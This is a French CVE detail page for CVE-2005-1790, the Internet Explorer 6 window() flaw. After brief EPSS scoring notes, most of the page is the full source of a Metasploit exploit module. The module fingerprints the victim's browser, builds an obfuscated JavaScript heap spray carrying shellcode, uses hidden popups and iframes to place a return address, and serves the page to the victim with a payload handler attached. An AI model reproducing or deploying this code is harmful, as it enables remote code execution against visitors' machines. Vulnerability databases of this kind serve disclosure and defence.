CVE-2005-1790 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

This exploit results in a call to an address lower than the heap. The javascript prompt() places our shellcode near where the call operand points to. We call prompt() multiple times in separate iframes to place our return address. We hide the prompts in a popup window behind the main window. We spray the heap a second time with our shellcode and point the return address to the heap. I use a fairly high address to make this exploit more reliable. IE will crash when the exploit completes. Also, please note that Internet Explorer must allow popups in order to continue exploitation. }, 'License' => MSF_LICENSE, 'Author' => [ 'Benjamin Tobias Franz', # Discovery 'Stuart Pearson', # Proof of Concept 'Sam Sharps' # Metasploit port ], 'References' => [ ['MSB', 'MS05-054'], ['CVE', '2005-1790'], ['OSVDB', '17094'], ['URL', 'https://www.securityfocus.com/bid/13799/info'], ['URL', 'http://www.cvedetails.com/cve/CVE-2005-1790'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Internet Explorer 6 on Windows XP', { 'iframes' => 4 } ], [ 'Internet Explorer 6 Windows 2000', { 'iframes' => 8 } ], ], 'DisclosureDate' => 'Nov 21 2005', 'DefaultTarget' => 0)) end def exploit @var_redir = rand_text_alpha(rand(100)+1) super end def auto_target(cli, request) mytarget = nil agent = request.headers['User-Agent'] print_status("Checking user agent: #{agent}") if (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.1/) mytarget = targets[0] # IE6 on XP elsif (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.0/) mytarget = targets[1] # IE6 on 2000 else print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}") end mytarget end def on_request_uri(cli, request) mytarget = auto_target(cli, request) var_title = rand_text_alpha(rand(100) + 1) func_main = rand_text_alpha(rand(100) + 1) heapspray = ::Rex::Exploitation::JSObfu.new %Q| function heapspray() { shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}'); var bigblock = unescape("#{Rex::Text.to_unescape(make_nops(4))}"); var headersize = 20; var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock; var fillblock = bigblock.substring(0,slackspace); var block = bigblock.substring(0,bigblock.length - slackspace); while (block.length + slackspace < 0x40000) block = block + block + fillblock; var memory = new Array(); for (i = 0; i < 250; i++){ memory[i] = block + shellcode } var ret = ""; var fillmem = ""; for (i = 0; i < 500; i++) ret += unescape("%u0F0F%u0F0F"); for (i = 0; i < 200; i++) fillmem += ret; prompt(fillmem, ""); } | heapspray.obfuscate nofunc = ::Rex::Exploitation::JSObfu.new %Q| if (document.location.href.indexOf("#{@var_redir}") == -1) { var counter = 0; top.consoleRef = open('','BlankWindow', 'width=100,height=100' +',menubar=0' +',toolbar=1' +',status=0' +',scrollbars=0' +',left=1' +',top=1' +',resizable=1') self.focus() for (counter = 0; counter < #{mytarget['iframes']}; counter++) { top.consoleRef.document.writeln('<iframe width=1 height=1 src='+document.location.href+'?p=#{@var_redir}</iframe>'); } document.writeln("<body onload=\\"setTimeout('#{func_main}()',6000)\\">"); } else { #{heapspray.sym('heapspray')}(); } | nofunc.obfuscate main = %Q| function #{func_main}() { document.write("<TITLE>#{var_title}</TITLE>"); document.write("<body onload=window();>"); window.location.reload(); } | html = %Q| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"> <html> <head> <meta http-equiv="Content-Language" content="en-gb"> <meta http-equiv="Content-Type" content="text/html; charset=windows-1252"> <script> #{nofunc} #{heapspray} #{main} </script> </head> <body> </body> </html> | print_status("Sending #{self.name} to client #{cli.peerhost}") # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' }) # Handle the payload handler(cli) end end
